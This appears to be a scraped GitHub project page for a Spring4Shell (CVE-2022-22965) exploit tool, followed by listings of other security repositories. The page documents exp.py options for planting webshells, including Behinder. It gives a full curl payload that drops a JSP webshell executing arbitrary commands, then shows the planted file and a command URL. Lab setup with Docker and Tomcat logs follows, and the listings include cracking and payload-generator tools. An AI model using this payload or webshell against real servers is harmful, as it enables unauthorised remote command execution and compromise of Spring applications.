CVE-2022-22965 : about spring core rce

Related tags

Security related resourcesspringspring-securityspring-mvccve-2022-22965
Overview

CVE-2022-22965: Spring-Core-Rce

EXP

特性:

  1. 漏洞探测(不写入 webshell，简单字符串输出)
  2. 自定义写入 webshell 文件名称及路径
  3. 不会追加写入到同一文件中，每次检测写入到不同名称 webshell 文件
  4. 支持写入 冰蝎 webshell
  5. 代理支持，可以设置自定义的代理，比如: http://127.0.0.1:8080

使用:

$ python3 exp.py -h
usage: exp.py [-h] --url URL --type TYPE [--directory DIRECTORY] [--filename FILENAME]
              [--proxy PROXY]

Srping Core Rce.

optional arguments:
  -h, --help            show this help message and exit
  --url URL             target url,eg: http://127.0.0.1:8082/helloworld/greeting
  --type TYPE           1 vuln test 2.Behinder shell
  --directory DIRECTORY
                        shell directory,eg: webapps/ROOT(Notice: if the path not exists will creat!)
  --filename FILENAME   shell name
  --proxy PROXY         set request proxy,eg: http://127.0.0.1:8080

比如：

$ python3 exp.py --url http://127.0.0.1:8082/helloworld/greeting --type 1 --proxy http://127.0.0.1:8080
[*] waiting for 10s...
[+] inject success, vulnerable!
[+] test at: http://127.0.0.1:8082/inject30297.jsp
[*] Response:
challenge
<!--

POC

直接写入 webshell

curl -v -H "c1: runtime" -H "c2: <%" -H "suffix: %>//" -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://target:8080/path

The file is dropped to disk:

cat ./apache-tomcat-8.5.77/webapps/ROOT/tomcatwar.jsp 
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))3D-1){ out.println(new String(b)); } } -

shell: target/tomcatwar.jsp?pwd=j&cmd=whoami

环境搭建

使用 vulfocus

ROOT.war 来自白帽汇的 vulfocus 镜像,直接放在 jdk9+ 的 tomcat 环境部署即可启动测试.

也可以自行使用 docker pull

docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29

然后访问 本地的 8082 端口，显示 OK,即运行成功

使用 Spring4Shell-POC

克隆 https://github.com/lunasec-io/Spring4Shell-POC 然后进入 Spring4Shell-POC 执行 docker 编译启动即可

docker build -f Dockerfile . -t spring4shell && docker run -p 8082:8080 spring4shell

[+] Building 1.4s (12/12) FINISHED                                                                    
 => [internal] load build definition from Dockerfile                                             0.0s
 => => transferring dockerfile: 37B                                                              0.0s
 => [internal] load .dockerignore                                                                0.0s
 => => transferring context: 2B                                                                  0.0s
 => [internal] load metadata for docker.io/library/tomcat:9.0                                    1.3s
 => [internal] load build context                                                                0.0s
 => => transferring context: 965B                                                                0.0s
 => [1/7] FROM docker.io/library/tomcat:[email protected]:9920e45babbbda16cc0f7b939349e1443cc6e0922272  0.0s
 => CACHED [2/7] ADD src/ /helloworld/src                                                        0.0s
 => CACHED [3/7] ADD pom.xml /helloworld                                                         0.0s
 => CACHED [4/7] RUN apt update && apt install maven -y                                          0.0s
 => CACHED [5/7] WORKDIR /helloworld/                                                            0.0s
 => CACHED [6/7] RUN mvn clean package                                                           0.0s
 => CACHED [7/7] RUN mv target/helloworld.war /usr/local/tomcat/webapps/                         0.0s
 => exporting to image                                                                           0.0s
 => => exporting layers                                                                          0.0s
 => => writing image sha256:7b1b653307234587dde30fa2f26b2f3211b2bc8bdb38b4b43f2c321ddda1ee25     0.0s
 => => naming to docker.io/library/spring4shell                                                  0.0s

Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
NOTE: Picked up JDK_JAVA_OPTIONS:  --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.950 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version name:   Apache Tomcat/9.0.60
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server built:          Mar 9 2022 14:52:25 UTC
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Server version number: 9.0.60.0
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Name:               Linux
01-Apr-2022 15:11:43.956 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log OS Version:            5.10.76-linuxkit
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Architecture:          amd64
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Java Home:             /usr/local/openjdk-11
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Version:           11.0.14.1+1
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log JVM Vendor:            Oracle Corporation
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_BASE:         /usr/local/tomcat
01-Apr-2022 15:11:43.957 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log CATALINA_HOME:         /usr/local/tomcat
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.lang=ALL-UNNAMED
01-Apr-2022 15:11:43.970 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.io=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.base/java.util.concurrent=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED
01-Apr-2022 15:11:43.971 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djdk.tls.ephemeralDHKeySize=2048
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.protocol.handler.pkgs=org.apache.catalina.webresources
01-Apr-2022 15:11:43.972 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dorg.apache.catalina.security.SecurityListener.UMASK=0027
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dignore.endorsed.dirs=
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.base=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Dcatalina.home=/usr/local/tomcat
01-Apr-2022 15:11:43.973 INFO [main] org.apache.catalina.startup.VersionLoggerListener.log Command line argument: -Djava.io.tmpdir=/usr/local/tomcat/temp
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent Loaded Apache Tomcat Native library [1.2.31] using APR version [1.7.0].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR capabilities: IPv6 [true], sendfile [true], accept filters [false], random [true], UDS [true].
01-Apr-2022 15:11:43.977 INFO [main] org.apache.catalina.core.AprLifecycleListener.lifecycleEvent APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
01-Apr-2022 15:11:43.980 INFO [main] org.apache.catalina.core.AprLifecycleListener.initializeSSL OpenSSL successfully initialized [OpenSSL 1.1.1n  15 Mar 2022]
01-Apr-2022 15:11:44.251 INFO [main] org.apache.coyote.AbstractProtocol.init Initializing ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:44.271 INFO [main] org.apache.catalina.startup.Catalina.load Server initialization in [511] milliseconds
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardService.startInternal Starting service [Catalina]
01-Apr-2022 15:11:44.313 INFO [main] org.apache.catalina.core.StandardEngine.startInternal Starting Servlet engine: [Apache Tomcat/9.0.60]
01-Apr-2022 15:11:44.329 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deploying web application archive [/usr/local/tomcat/webapps/helloworld.war]
01-Apr-2022 15:11:45.358 INFO [main] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time.

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::                (v2.6.3)

2022-04-01 15:11:45.952  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Starting HelloworldApplication v0.0.1-SNAPSHOT using Java 11.0.14.1 on 00bf66f10525 with PID 1 (/usr/local/tomcat/webapps/helloworld/WEB-INF/classes started by root in /helloworld)
2022-04-01 15:11:45.956  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : No active profile set, falling back to default profiles: default
2022-04-01 15:11:46.614  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 638 ms
2022-04-01 15:11:47.137  INFO 1 --- [           main] c.r.helloworld.HelloworldApplication     : Started HelloworldApplication in 1.618 seconds (JVM running for 3.594)
01-Apr-2022 15:11:47.157 INFO [main] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [/usr/local/tomcat/webapps/helloworld.war] has finished in [2,828] ms
01-Apr-2022 15:11:47.169 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"]
01-Apr-2022 15:11:47.179 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in [2908] milliseconds

然后访问 http://127.0.0.1:8082/helloworld/greeting

image

Reference：

Owner
东方有鱼名为咸
InfoSec & Penteste studying & Feral programmer
东方有鱼名为咸
GitHub Repository
RapiDAST provides a framework for continuous, proactive and fully automated dynamic scanning against web apps/API.

RapiDAST RapiDAST provides a framework for continuous, proactive and fully automated dynamic scanning against web apps/API. Its core engine is OWASP Z

Red Hat Product Security 17 Nov 11, 2022
RCE 0-day for GhostScript 9.50 - Payload generator

RCE-0-day-for-GhostScript-9.50 PoC for RCE 0-day for GhostScript 9.50 - Payload generator The PoC in python generates payload when exploited for a 0-d

534 Dec 14, 2022
macOS Initial Access Payload Generator

Mystikal macOS Initial Access Payload Generator Related Blog Post: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 Usage: Install Xcode

Leo Pitt 206 Dec 31, 2022
Tools for converting Nintendo DS binaries to an ELF file for Ghidra/IDA

nds2elf Requirements nds2elf.py uses LIEF and template.elf to form a new binary. LIEF is available via pip: pip3 install lief Usage DSi and DSi-enhan

Max Thomas 17 Aug 14, 2022
Shell hunter for AF

AF-ShellHunter AF-ShellHunter: Auto shell lookup AF-ShellHunter its a script designed to automate the search of WebShell's in AF Team How to pip3 ins

Eduardo 34 May 13, 2022
Delta Sharing: An Open Protocol for Secure Data Sharing

Delta Sharing: An Open Protocol for Secure Data Sharing Delta Sharing is an open protocol for secure real-time exchange of large datasets, which enabl

Delta Lake 497 Jan 02, 2023
TOOLS CRACK FACEBOOK

Installation $ pkg update && pkg upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Mark-Zuck/zafi $ cd zafi $ pip2 instal

Romi Afrizal 50 Dec 26, 2022
Data Recovery from your broken Android phone

Broken Phone Recovery a guide how to backup data from your locked android phone if you broke your screen (and more) you can skip some steps depending

v1nc 25 Sep 23, 2022
AttractionFinder - 2022 State Qualified FBLA Attraction Finder Application

Attraction Finder Developers: Riyon Praveen, Aaron Bijoy, & Yash Vora How It Wor

$ky 2 Feb 09, 2022
Password List Maker

Red-Key Red-Key Password List Maker Version 1.1.2 Created By FireKing255 -=Features=- Create Random Password List Create Password List Create Password

FireKing255 7 Dec 26, 2021
Some Attacks of Exchange SSRF ProxyLogon&ProxyShell

Some Attacks of Exchange SSRF This project is heavily replicated in ProxyShell, NtlmRelayToEWS https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag Get 1

Jumbo 129 Dec 30, 2022
JS Deobfuscation is a Python script that deobfuscate JS code and it's time saver for you.

JS Deobfuscation is a Python script that deobfuscate JS code and it's time saver for you. Although it may not work with high degrees of obfuscation, it's a pretty nice tool to help you even if it's j

Quatrecentquatre 3 May 01, 2022
About Hive Burp Suite Extension

Hive Burp Suite Extension Description Hive extension for Burp Suite. This extension allows you to send data from Burp to Hive in one click. Create iss

7 Dec 07, 2022
A tool combined with the advantages of masscan and nmap

A tool combined with the advantages of masscan and nmap

59 Dec 24, 2022
A bitcoin private keys brute-forcing tool. Educational purpose only.

BitForce A bitcoin private keys brute-forcing tool. If you have an average computer, his will take decades to find a private key with balance. Run Mak

Gilad Leef 2 Dec 20, 2022
A semi-automatic osint/recon framework.

Smog Framework A semi-automatic osint/recon framework. Requirements git Python = 3.8 How to use it

toast 22 Oct 17, 2022
A python implementation of the windows 95 product key check.

Windows 95 Product Key Check Info: This is a python implementation of the windows 95 product key check. This was just a bit of fun and a massive 5 hou

11 Aug 07, 2022
Buff A simple BOF library I wrote under an hour to help me automate with BOF attack

What is Buff? A simple BOF library I wrote under an hour to help me automate with BOF attack. It comes with fuzzer and a generic method to generate ex

0x00 3 Nov 21, 2022
A toolkit for web reconnaissance, it's fast and easy to use.

A toolkit for web reconnaissance, it's fast and easy to use. File Structure httpsuite/ main.py init.py db/ db.py init.py subdomains_db directories_db

whoami security 22 Jul 22, 2022
✨ Powerfull & Universal Link Bypasser ✨

✨ Powerfull & Universal Link Bypasser ✨

Vodkarm06 4 Jun 03, 2022